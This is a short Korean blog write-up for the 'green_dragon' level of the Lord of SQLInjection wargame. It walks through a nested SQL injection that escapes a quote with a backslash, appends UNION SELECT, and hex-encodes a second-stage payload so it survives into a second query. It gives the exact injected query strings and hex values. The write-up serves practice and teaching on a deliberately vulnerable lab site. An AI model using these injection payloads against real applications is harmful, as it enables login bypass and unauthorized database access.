write-up(web)/los

[LOS] green_dragon

chanchand 2023. 1. 28. 01:07
반응형

문제


https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php

 

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php

 

los.rubiya.kr

 

 

 

 

문제풀이


select id,pw from prob_green_dragon where id='\' and pw='or 1=1%23'

백슬래시를 이용해 따옴표를 문자처리하고, 그 뒤 문장을 참으로 만들어준다.

올바른 구문이지만 결과가 나오지 않는다.

선택된 id, pw가 없기 때문에 union 구문을 이용해야 한다.

 

select id,pw from prob_green_dragon where id='\' and pw='union select 1,2%23'

선택된 id, pw가 없기 때문에 union 구문을 이용해야 한다.

union select 1,2 구문의 1,2가 각각 두번째 쿼리의 id, pw에 들어간다.

이를 이용하여 쿼리를 조작할 수 있다.

 

select id,pw from prob_green_dragon where id='\' and pw='union select \,union select 0x61646D696E # %23'

select id from prob_green_dragon where id='\' and pw='union select 0x61646D696E #'

query1에서 union, select와 같은 문자열이 해석되어, query2에서 인식되지 않는다.

그렇기 때문에 query2에서 인식될 수 있도록 hex 값으로 변경해주어야 한다.

\ = 0x5C

union select 0x61646D696E # = 0x756e696f6e2073656c6563742030783631363436443639364523

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] blue_dragon  (0) 2023.11.03
[LOS] red_dragon  (0) 2023.01.28
[LOS] evil_wizard  (0) 2023.01.25
[LOS] hell_fire  (0) 2023.01.25
[LOS] dark_eyes  (0) 2023.01.24